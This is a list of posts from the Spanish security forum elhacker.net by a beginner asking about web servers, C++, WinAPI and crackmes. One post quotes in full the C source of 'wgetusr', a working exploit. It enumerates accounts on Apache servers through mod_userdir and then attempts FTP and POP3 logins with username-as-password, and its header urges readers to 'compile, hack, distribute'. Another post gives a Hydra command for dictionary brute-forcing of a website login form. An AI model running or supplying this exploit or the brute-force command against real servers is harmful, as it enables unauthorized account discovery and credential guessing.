elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Temas
Páginas: [1] 2
1  Programación / Desarrollo Web / Varios problemas con mi servidor web (Xampp) en: 15 Octubre 2014, 16:00 pm
Buenas. Estoy empezando con esto de la programación Web y el otro día decidí crearme un servidor donde practicar con Xampp.
El caso es que me han surgido algunos problemas y dudas:

Va perfectamente excepto que de vez en cuando se cae el servidor. He supuesto que era algún conflicto con el puerto 80 y lo cambié al 1234, abriéndolo en el router y dirigiéndolo a mi IP privada. Funciona (aunque todavía no he comprobado que no se caiga) pero algunas imágenes no se muestran.
Y también me gustaría evitar de alguna forma el no tener que hacer explícito el puerto cuando se accede al servidor por medio del navegador. En vez de localhost:1234 que con poner localhost ya funcionase.

Sobre todo me interesa que me ayudéis con el tema de que se caiga el servidor. Gracias.
2  Seguridad Informática / Hacking / Problemas con Hydra en: 24 Octubre 2011, 13:45 pm
Hola.
Resulta que el hydra no me funciona cuando trato de obtener el user y la pass de páginas web en las que estoy registrado.
Sí me ha funcionado con mi router.

Éste es el comando que utilizo:

hydra "web" -L /home/user/logins.lst -P /home/user/passwords.lst -v -t 1 -e ns -f -V http-post-form "/login.phtml:user=^USER^&pass=^PASS^:Invalid user or password"

Los diccionarios están bien, y lo de "user" y "pass" es lo que pone en el código fuente de la página.

Cuando comprueba el user y el pass válidos pasa de ellos como si fueran falsos y sigue comprobando los demás que hay en el diccionario.

Y una pregunta: ¿Hace falta indicar la String que aparece cuando ingresas mal los datos?

Un saludo.
3  Programación / Java / Loguear en Web y obtener datos en: 23 Octubre 2011, 12:19 pm
Hola, mi duda es si se puede hacer un programa en Java que te loguee en una web en la que estás registrado sin que haga falta escribir la URL en el navegador y conseguir información de su base de datos.

Por ejemplo y en mi caso:

Hacerlo con una página de fútbol en el que eres el manager y poder obtener el dinero que tienes, tus jugadores, etc.

Probé haciéndolo con el código fuente de la página de cada jugador, pero es muy costoso y me gustaría probar antes esta alternativa.

Un saludo.
4  Seguridad Informática / Bugs y Exploits / mod_userdir Apache en: 3 Octubre 2011, 00:20 am
Hola, antes que nada decir que acabo de empezar en ésto, así que es normal que mis preguntas sean un poco newbies.

He compilado un exploit en C perfectamente, el problema viene al ejecutarlo.
Para ello tengo que poner ésto:

Use: exploit.exe [options] -h <host> -u <usrfile>
            -h     Host
            -u     Users file
            Options
            -f     Try log on via FTP
            -p     Try log on via POP3

Lo que pasa es que no sé ni si usar vía FTP o POP3 ni qué poner en "<usrfile>" porque no tengo ni idea de dónde se guardan los usuarios y contraseñas en Apache.

Para probarlo lo ejecuto en localhost, ya que tengo una servidor local (aunque no tiene el bug):
exploit.exe -f -h localhost -u user_password

Y me da error evidentemente  :) :

 
  • veryfing list: Failed

Me gustaría que me dijerais cómo usar correctamente el exploit y si se puede en localhost.
Un saludo.

Éste es el Exploit en cuestión:

Código
  1. /*-------------------------------------------------------------------
  2.  *
  3.  * Exploit: wgetusr.c Windows Version
  4.  * Author: HighT1mes (John Bissell)
  5.  * Date Released: July 21, 2004
  6.  *
  7.  * --- Code ported to Windows with some added code,
  8.  *     based on getusr.c exploit by CoKi ---
  9.  *
  10.  * Description from CoKi:
  11.  * ======================
  12.  *
  13.  * This tool tries to find users in a Apache 1.3.*
  14.  * server through wrong default configuration of
  15.  * module mod_userdir.
  16.  *
  17.  * My Believe:
  18.  * ===========
  19.  *
  20.  * I believe in the current state of the web right
  21.  * now this information leak bug can be pretty nasty.
  22.  * Once you have a couple login names on a system
  23.  * there are many services the attacker can target
  24.  * to attack and work his way into the target system
  25.  * to get local access.
  26.  *
  27.  * Program Usage:
  28.  * ==============
  29.  *
  30.  * Use: wgetusr [options] -h <host> -u <usrfile>
  31.  *          -h     Host
  32.  *          -u     Users file
  33.  *         Options
  34.  *          -f     Try log on via FTP
  35.  *          -p     Try log on via POP3
  36.  *
  37.  * VC++ 6.0 Compilation Information:
  38.  * =================================
  39.  *
  40.  * First go on the net and get the getopt libs and header
  41.  * file for VC++ 6.0 Here's a link...
  42.  *
  43.  * http://prantl.host.sk/getopt/files/getopt-msvs6.zip
  44.  *
  45.  * Now extract the libs into your standerd VC++ Lib directory,
  46.  * and extract the getopt.h header file of course into the
  47.  * Include directory.
  48.  *
  49.  * Now to compile make a new console app project,
  50.  * then put this source file in the project.
  51.  * Next goto Project->Settings. Then click on
  52.  * the link tab then goto the input catagory.
  53.  * Now add getopt.lib to the end of objects/librarys
  54.  * modules text box. Then in the Ignore Librarys
  55.  * text box type LIBCD.lib to ignore that lib and allow
  56.  * compilation to complete because of getopt lib.
  57.  *
  58.  * Also you where you added getopt.lib to the
  59.  * objects/librarys modules text box put ws2_32.lib
  60.  * in that text box as well.
  61.  *
  62.  * Your all set compile, hack, distrobute, have fun! :)
  63.  *
  64. *-------------------------------------------------------------------*/
  65.  
  66. #include <getopt.h>
  67. #include <stdio.h>
  68. #include <stdlib.h>
  69. #include <errno.h>
  70. #include <string.h>
  71. #include <windows.h>
  72. #include <winsock2.h>
  73.  
  74. #define DATAMAX 50
  75. #define BUFFER 1000
  76. #define TCPIP_ERROR -1
  77. #define TIMEOUT 3
  78. #define HTTP_PORT 80
  79. #define FTP_PORT 21
  80. #define POP3_PORT 110
  81.  
  82. void use(char *program);
  83. int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout);
  84. void vrfy_apache(char *host);
  85. void vrfy_vuln(char *host);
  86. int test_user(char *host, char *user);
  87. int trylogonFTP(char *host, char *user, char *pass);
  88. int mkconn(char *host, unsigned short port);
  89. int trylogonPOP3(char *host, char *user, char *pass);
  90.  
  91. struct hostent *he;
  92. char **fuser;
  93. int sockfd;
  94. struct sockaddr_in dest_dir;
  95.  
  96. int main(int argc, char *argv[]) {
  97.  
  98.  FILE *userlist;
  99.  char c, *host=NULL, *ulist=NULL;
  100.  char user[DATAMAX];
  101.  int ucant=0, flogged=0, plogged=0, optftp=0, optpop=0, stop=0;
  102.  unsigned int cant=0, i, user_num;
  103.  WSADATA wsaData;
  104.  int result=0;
  105.  
  106.  printf(" =================================\n");
  107.  printf("   wgetusr exploit by HighT1mes\n");
  108.  printf("  Based on getusr.c code by CoKi\n");
  109.  printf(" =================================\n\n");
  110.  Sleep(1000);
  111.  
  112.  if(argc < 2) use(argv[0]);
  113.  
  114.  result = WSAStartup( MAKEWORD( 2,2 ), &wsaData );
  115.        if ( result != NO_ERROR ) {
  116.                printf( "Error at WSAStartup()\n" );
  117.                return( EXIT_FAILURE );
  118.        }
  119.  
  120.  while((c = getopt(argc, argv, "h:u:fp")) != EOF) {
  121.    switch(c) {
  122.      case 'h':
  123.               host = optarg;
  124.               break;
  125.      case 'u':
  126.               ulist = optarg;
  127.               break;
  128.      case 'f':
  129.               optftp = 1;
  130.               break;
  131.      case 'p':
  132.               optpop = 1;
  133.               break;
  134.      default :
  135.               use(argv[0]);
  136.               break;
  137.    }
  138.  }
  139.  
  140.  if(host == NULL) use(argv[0]);
  141.  if(ulist == NULL) use(argv[0]);
  142.  
  143.  printf(" [+] verifying list:\t");
  144.  
  145.  if((userlist = fopen(ulist, "r")) == NULL) {
  146.    printf("Failed\n\n");
  147.    exit(1);
  148.  }
  149.  
  150.  while(!feof(userlist)) if('\n' == fgetc(userlist)) ucant++;
  151.  rewind(userlist);
  152.  
  153.  printf("OK (%d users)\n", ucant);
  154.  Sleep(1000);
  155.  fuser = (char **)malloc(sizeof(ucant));
  156.  
  157.  printf(" [+] verifying host:\t");
  158.  
  159.  if((he=gethostbyname(host)) == NULL) {
  160.    perror("Error: ");
  161.        Sleep(1000);
  162.    printf("\n");
  163.    exit(1);
  164.  }
  165.  
  166.  printf("OK\n");
  167.  Sleep(1000);
  168.  
  169.  printf(" [+] connecting:\t");
  170.  
  171.  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) {
  172.    printf("Closed\n\n");
  173.        Sleep(1000);
  174.    exit(1);
  175.  }
  176.  
  177.  printf("OK\n");
  178.  Sleep(1000);
  179.  closesocket(sockfd);
  180.  
  181.  vrfy_apache(host);
  182.  Sleep(1000);
  183.  
  184.  vrfy_vuln(host);
  185.  Sleep(1000);
  186.  
  187.  user_num = 1;
  188.  while(!feof(userlist)) {
  189.    if(fgets(user, sizeof(user), userlist) == NULL) break;
  190.    user[strlen(user)-1] = '\0';
  191.  
  192.    if(test_user(host, user) == 0) {
  193.      fuser[cant] = (char *)malloc(sizeof(user));
  194.      memcpy(fuser[cant],user,strlen(user));
  195.      memset(fuser[cant]+strlen(user),0,1);
  196.      cant++;
  197.    }
  198.  
  199.        system("CLS");
  200.        printf(" wgetusr exploit by HighT1mes\n\n");
  201.        printf(" [+] searching for system accounts, please wait...\n");
  202.        printf(" [+] processing user #%d\n", user_num);
  203.        user_num++;
  204.  }
  205.  
  206.  if(cant == 0) {
  207.    printf("     no users found\n\n");
  208.    exit(1);
  209.  }
  210.  else {
  211.        /* print out valid usernames found */
  212.        printf(" [+] scan results for %s:\n\n", host);
  213.        for (i = 0; i < cant; i++) {
  214.                printf("     found username: %s\n", fuser[i]);
  215.        }
  216.  }
  217.  
  218.  printf("\n");
  219.  
  220.  if(optftp == 1) {
  221.    stop = 0;
  222.    printf(" [+] trying log on via FTP...\n");
  223.    printf(" [+] connecting:\t");
  224.  
  225.  
  226.    if(mkconn(host, FTP_PORT) == TCPIP_ERROR) {
  227.      printf("Closed\n");
  228.      stop = 1;
  229.    }
  230.  
  231.    if(!stop) {
  232.      printf("OK\n");
  233.      closesocket(sockfd);
  234.      for(i=0; i < cant; i++) {
  235.        if(trylogonFTP(host, fuser[i], fuser[i]) == 0) {
  236.          printf("     logged in: %s\n", fuser[i]);
  237.          flogged++;
  238.        }
  239.      }
  240.      if(flogged == 0) printf("     no users logged in\n");
  241.    }
  242.  }
  243.  
  244.  if(optpop == 1) {
  245.    stop = 0;
  246.    printf(" [+] trying log on via POP3...\n");
  247.    printf(" [+] connecting:\t");
  248.    (stdout);
  249.  
  250.    if(mkconn(host, POP3_PORT) == TCPIP_ERROR) {
  251.      printf("Closed\n");
  252.      stop = 1;
  253.    }
  254.  
  255.    if(!stop) {
  256.      printf("OK\n");
  257.      closesocket(sockfd);
  258.      for(i=0; i < cant; i++) {
  259.        if(trylogonPOP3(host, fuser[i], fuser[i]) == 0) {
  260.          printf("     logged in: %s\n", fuser[i]);
  261.          plogged++;
  262.        }
  263.      }
  264.      if(plogged == 0)  printf("     no users logged in\n");
  265.    }
  266.  }
  267.  
  268.  printf("\n");
  269.  fclose(userlist);
  270.  WSACleanup();
  271.  return 0;
  272. }
  273.  
  274. void use(char *program) {
  275.  printf("Use: %s [options] -h <host> -u <usrfile>\n", program);
  276.  printf("         -h\tHost\n");
  277.  printf("         -u\tUsers file\n");
  278.  printf("        Options\n");
  279.  printf("         -f\tTry log on via FTP\n");
  280.  printf("         -p\tTry log on via POP3\n");
  281.  exit(1);
  282. }
  283.  
  284. int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout)
  285. {
  286.  int res, slen, flags;
  287.  struct timeval tv;
  288.  struct sockaddr_in addr;
  289.  fd_set rdf, wrf;
  290.  int iMode = 0;
  291.  
  292.  ioctlsocket(sfd, FIONBIO, &iMode);
  293.  
  294.  res = connect(sfd, serv_addr, sizeof(struct sockaddr));
  295.  
  296.  if (res >= 0) return res;
  297.  
  298.  FD_ZERO(&rdf);
  299.  FD_ZERO(&wrf);
  300.  
  301.  FD_SET(sfd, &rdf);
  302.  FD_SET(sfd, &wrf);
  303.  memset(&tv, 0, sizeof(tv));
  304.  tv.tv_sec = timeout;
  305.  
  306.  if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
  307.    return -1;
  308.  
  309.  if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
  310.    slen = sizeof(addr);
  311.    if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
  312.    return -1;
  313.  
  314.    flags = ioctlsocket(sfd, FIONBIO, NULL);
  315.        iMode = flags & ~iMode;
  316.    ioctlsocket(sfd, FIONBIO, &iMode);
  317.  
  318.    return 0;
  319.  }
  320.  
  321.  return -1;
  322. }
  323.  
  324. void vrfy_apache(char *host) {
  325.  char buf[BUFFER], sendstr[DATAMAX];
  326.  
  327.  printf(" [+] verifying Apache:\t");
  328.  
  329.  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");
  330.  
  331.  sprintf(sendstr, "HEAD / HTTP/1.0\n\n");
  332.  send(sockfd, sendstr, sizeof(sendstr), 0);
  333.  memset(buf, 0, sizeof(buf));
  334.  recv(sockfd, buf, sizeof(buf), 0);
  335.  
  336.  if(strstr(buf, "Server: Apache")) printf("OK\n");
  337.  else {
  338.    printf("NO\n\n");
  339.    exit(1);
  340.  }
  341.  
  342.  closesocket(sockfd);
  343. }
  344.  
  345. void vrfy_vuln(char *host) {
  346.  char buf[BUFFER], sendstr[DATAMAX];
  347.  
  348.  printf(" [+] vulnerable:\t");
  349.  
  350.  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");
  351.  
  352.  memset(sendstr, 0, sizeof(sendstr));
  353.  sprintf(sendstr, "GET /~root\n");
  354.  send(sockfd, sendstr, sizeof(sendstr), 0);
  355.  
  356.  recv(sockfd, buf, sizeof(buf), 0);
  357.  
  358.  if(strstr(buf, "403")) printf("OK\n");
  359.  else {
  360.    printf("NO\n\n");
  361.    exit(1);
  362.  }
  363.  
  364.  closesocket(sockfd);
  365. }
  366.  
  367. int test_user(char *host, char *user) {
  368.  char buf[BUFFER], sendstr[DATAMAX];
  369.  
  370.  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("     Closed\n");
  371.  
  372.  memset(sendstr, 0, sizeof(sendstr));
  373.  sprintf(sendstr, "GET /~%s\n", user);
  374.  send(sockfd, sendstr, sizeof(sendstr), 0);
  375.  
  376.  recv(sockfd, buf, sizeof(buf), 0);
  377.  
  378.  if(strstr(buf, "403")) return 0;
  379.  else return 1;
  380.  
  381.  closesocket(sockfd);
  382. }
  383.  
  384. int trylogonFTP(char *host, char *user, char *pass) {
  385.  char buf[BUFFER], *senduser, *sendpass;
  386.  
  387.  senduser = malloc(sizeof(user+6));
  388.  sendpass = malloc(sizeof(pass+6));
  389.  
  390.  sprintf(senduser,"USER %s\n",user);
  391.  sprintf(sendpass,"PASS %s\n",pass);
  392.  
  393.  if(mkconn(host, FTP_PORT) == TCPIP_ERROR) printf("     Closed\n");
  394.  
  395.  memset(buf,0,sizeof(buf));
  396.  recv(sockfd,buf,sizeof(buf),0);
  397.  send(sockfd,senduser,strlen(senduser), 0);
  398.  memset(buf,0,sizeof(buf));
  399.  recv(sockfd,buf,sizeof(buf),0);
  400.  send(sockfd,sendpass,strlen(sendpass), 0);
  401.  memset(buf,0,sizeof(buf));
  402.  recv(sockfd,buf,sizeof(buf),0);
  403.  
  404.  if(strstr(buf, "230")) return 0;
  405.  else return 1;
  406.  
  407.  closesocket(sockfd);
  408. }
  409.  
  410. int mkconn(char *host, unsigned short port) {
  411.  
  412.  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == TCPIP_ERROR) {
  413.    perror("Error");
  414.    printf("\n");
  415.    exit(1);
  416.  }
  417.  
  418.  dest_dir.sin_family = AF_INET;
  419.  dest_dir.sin_port = htons(port);
  420.  dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  421.  memset(&(dest_dir.sin_zero), 0, 8);
  422.  
  423.  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir, TIMEOUT) == TCPIP_ERROR) {
  424.    return TCPIP_ERROR;
  425.  }
  426.  
  427.  return 0;
  428. }
  429.  
  430. int trylogonPOP3(char *host, char *user, char *pass) {
  431.  char buf[BUFFER], *senduser, *sendpass;
  432.  
  433.  senduser = malloc(sizeof(user+6));
  434.  sendpass = malloc(sizeof(pass+6));
  435.  
  436.  sprintf(senduser,"USER %s\n",user);
  437.  sprintf(sendpass,"PASS %s\n",pass);
  438.  
  439.  if(mkconn(host, POP3_PORT) == TCPIP_ERROR) printf("     Closed\n");
  440.  
  441.  memset(buf,0,sizeof(buf));
  442.  recv(sockfd,buf,sizeof(buf),0);
  443.  send(sockfd,senduser,strlen(senduser), 0);
  444.  memset(buf,0,sizeof(buf));
  445.  recv(sockfd,buf,sizeof(buf),0);
  446.  send(sockfd,sendpass,strlen(sendpass), 0);
  447.  memset(buf,0,sizeof(buf));
  448.  recv(sockfd,buf,sizeof(buf),0);
  449.  
  450.  if(strstr(buf, "+OK")) return 0;
  451.  else return 1;
  452.  
  453.  closesocket(sockfd);
  454. }
  455.  
  456. /* EOF */
  457.  


5  Programación / Programación C/C++ / Run-Time error en: 14 Marzo 2011, 23:44 pm
Hola.
Cada vez que intento ejecutar este código me sale error:

Código
  1. int dia, mes, dig, res;
  2.    int ano, ano2, ano3, ano4;
  3.  
  4.    dia=GetDlgItemInt(hDlg, IDC_EDIT1, NULL, FALSE);
  5.    mes=GetDlgItemInt(hDlg, IDC_EDIT3, NULL, FALSE);
  6.    ano=GetDlgItemInt(hDlg, IDC_EDIT2, NULL, FALSE);
  7.  
  8.    ano2=((ano)%(100));
  9.    ano3=((ano2)/(4));
  10.    ano4=((ano2)%(4));
  11.  
  12.    switch(mes)
  13.    {
  14.               case 1:
  15.                    dig=0;
  16.                    break;
  17.               case 2:
  18.                    dig=3;
  19.                    break;
  20.               case 3:
  21.                    dig=3;
  22.                    break;
  23.               case 4:
  24.                    dig=6;
  25.                    break;
  26.               case 5:
  27.                    dig=1;
  28.                    break;
  29.               case 6:
  30.                    dig=4;
  31.                    break;
  32.               case 7:
  33.                    dig=6;
  34.                    break;
  35.               case 8:
  36.                    dig=2;
  37.                    break;
  38.               case 9:
  39.                    dig=5;
  40.                    break;
  41.               case 10:
  42.                    dig=0;
  43.                    break;
  44.               case 11:
  45.                    dig=3;
  46.                    break;
  47.               case 12:
  48.                    dig=5;
  49.                    break;
  50.    }
  51.  
  52.    res=((dia+dig+ano2+ano3)%7);

En concreto el error es:

"Run-Time Check Failure #3 - The variable 'dig' is being used without being initialized."

El código me compila bien, pero mientras está en ejecución no para de salirme continuamente ese error.

A ver si me podéis ayudar  ;)
6  Programación / Programación C/C++ / Día de la Semana en: 18 Febrero 2011, 21:19 pm
Hola.
Acabo de crear un programa que te dice el día de la semana de una fecha determinada, y lo pongo por si a alguien le resulta de utilidad.  ;)



Lh: No se permite el publicar enlaces a programas compilados. Postea el código fuente.

Leer reglas
7  Seguridad Informática / Desafíos - Wargames / Test sorprendente! en: 7 Febrero 2011, 23:19 pm
Hola, navegando por la web he encontrado un test que me ha parecido interesante  :xD
Es esta página:

http://eduardoochoa.com/joomla/content/view/136/111/


Cuando lo he acabado me he quedado realmente impresionado, seguro que a más de uno os pasará lo mismo que a mí jaja (cuando lo hagáis sabréis de lo que hablo).

Bueno, a ver qué os parece  :D
8  Programación / Programación C/C++ / Problemas con WinApi en: 10 Enero 2011, 21:47 pm
Hola.

Primero de todo aclarar que acabo de empezar con WINAPI y por eso puede ser que mis dos errores sean realmente una tontería.
Hasta ahora sólo me he leído algunas páginas del curso de WinApi de conclase.net.
De C++ sé bastante más, me he leído libros, tutoriales, he creado muchos programas de consola, aunque realmente sé poco y cometo siempre errores parecidos.

Volviendo al tema.
Estoy haciendo un programa que a la vez es un Crackme, ya que has de registrarte para poder desinhibir un POPUP que incialmente está en MF_GRAYED.
Como he dicho antes tengo dos problemas:

1. Cuando se pulsa la función Registrar, se crea un diálogo en el que aparecen 3 Controles Edit (ID, Nombre, Serial).
El ID es un número y para obtener el valor uso la función GetDlgItemInt, y me funciona correctamente.
El problema viene con el nombre y el serial que son caracteres (tanto letras como números), y para ellos utilizo GetDlgItemText.
No sé qué estoy haciendo mal, pero la función no me devuelve ninguna cadena.
Lo que hago es ésto:


Código
  1. LRESULT CALLBACK WindowProcedure(HWND hwnd, UINT msg, WPARAM wParam,
  2. LPARAM lParam)
  3. ...
  4. case WM_COMMAND:
  5. if(LOWORD(wParam) == CM_REGISTRO)
  6. {
  7. DialogBoxParam(hInstance, "Registro", hwnd, DlgProc, (LPARAM)&Datos);
  8. }
  9. ...
  10.  
  11. BOOL CALLBACK DlgProc(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam)
  12. ...
  13. int numero1;
  14. char nombre[26];
  15. ...
  16. case WM_COMMAND:
  17. if(LOWORD(wParam) == IDOK)
  18. {
  19. numero1 = GetDlgItemInt(hDlg, ID_IDENT, &NumeroOk3, FALSE);
  20. GetDlgItemText(hDlg, ID_NOMBRE, nombre, 26);
  21. ...
  22. }
  23. ...
  24.  
  25.  

Simplemente es como si no estuviera la api.
Para comprobar si me retorna valor he probado ésto:

Código
  1. if(nombre=="HOLA")
  2. {
  3.    MessageBox(hDlg, "Hola", "", MB_ICONEXCLAMATION | MB_OK);
  4.           EndDialog(hDlg, FALSE);
  5. }
  6.  
Y cuando escribo HOLA en el Edit Nombre no me sale el cartel.
He pensado que puede ser que no he declarado correctamente la cadena nombre o la comparación se está haciendo mal, pero lo he intentado de otras formas y me salen otros errores.

2. Para volver a habilitar el POPUP Nuevo utilizo EnableMenuItem, pero Nuevo es un POPUP y no un MENUITEM, y no tiene el parámetro uEnable (o al menos eso creo xD).
Estoy pensando en deshabilitar directamente todos los Ítems que resultan de pulsar Nuevo.
Sin embargo sigo teniendo otro problema de una forma u otra, y es que utilizando el EnableMenuItem se necesita el handle del menú, y cuando llamo a la api estoy en el DlgProc y no en la función en la que se crean los menús que es donde se encuentra el handle:

Código
  1. void InsertarMenu(HWND hwnd)
  2. {
  3. HMENU hMenu1, hMenu2, hMenu3, hMenu4;
  4.     hMenu1 = CreateMenu(); /* Manipulador de la barra de menú */
  5.     hMenu2 = CreateMenu();
  6.     hMenu3 = CreateMenu();
  7.     hMenu4 = CreateMenu();
  8.     /* Primer POP-UP */
  9.     AppendMenu(hMenu2, MF_STRING | MF_POPUP | MF_GRAYED, (UINT)hMenu4, "&Nuevo");
  10. ...
  11. AppendMenu(hMenu1, MF_STRING | MF_POPUP, (UINT)hMenu2, "&Archivo");
  12. SetMenu (hwnd, hMenu1);
  13. }
  14.  

Gracias y espero que si leéis el mensaje y podéis aportar algo lo hagáis y no se quede el tema sin respuestas como ya me ha pasado varias veces...   :-(

PD: He subido lo que llevo de programa a 4shared.com.

http://www.4shared.com/file/fRXIfbsk/Programa.html
9  Programación / Programación C/C++ / Almacenar números en cadena en: 19 Diciembre 2010, 15:04 pm
Hola.
Estoy intentando hacer un crackme simple, en el que cada letra del nombre haga un xor con un número, resultando el serial verdadero.
El problema es que no puedo guardar el resultado del xor en una cadena de números.
Os pongo lo que sería un ejemplo de la operación xor.

Código
  1. int main()
  2. {
  3.    char p[7]="Fran";
  4.    int longi=strlen(p);
  5.    int s=3;
  6.    int r[longi-1];
  7.    for(int c=0;c<longi;c++)
  8.    {
  9.    r[c]=p[c]^s;
  10.    cout << p[c] << " XOR " << s << " = " << r[c];
  11.    cout << endl;
  12.    }
  13.    cout << "Serial = ";
  14.    for(int d=0;d<longi;d++)
  15.    {
  16.    cout << r[d];
  17.    }
  18.    cout << endl;
  19.    cin.get();
  20.    return 0;
  21. }


Lo que quiero es almacenar el número entero que aparece después de "Serial = " (que sería el correcto), para después compararlo con el serial falso.
Gracias por adelantado.  :)
10  Programación / Ingeniería Inversa / Ayuda con CrackMe en: 19 Diciembre 2010, 14:41 pm
Hola.
Estoy intentando hacer un crackme simple, en el que cada letra del nombre haga un xor con un número, resultando el serial verdadero.
El problema es que no puedo guardar el resultado del xor en una cadena de números.
Os pongo lo que sería un ejemplo de la operación xor.

Código
  1. int main()
  2. {
  3.    char p[7]="Fran";
  4.    int longi=strlen(p);
  5.    int s=3;
  6.    int r[longi-1];
  7.    for(int c=0;c<longi;c++)
  8.    {
  9.    r[c]=p[c]^s;
  10.    cout << p[c] << " XOR " << s << " = " << r[c];
  11.    cout << endl;
  12.    }
  13.    cout << "Serial = ";
  14.    for(int d=0;d<longi;d++)
  15.    {
  16.    cout << r[d];
  17.    }
  18.    cout << endl;
  19.    cin.get();
  20.    return 0;
  21. }


Lo que quiero es almacenar el número entero que aparece después de "Serial = " (que sería el correcto), para después compararlo con el serial falso.
Gracias por adelantado.  :)

PD: Muevo el tema al foro de C++.
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines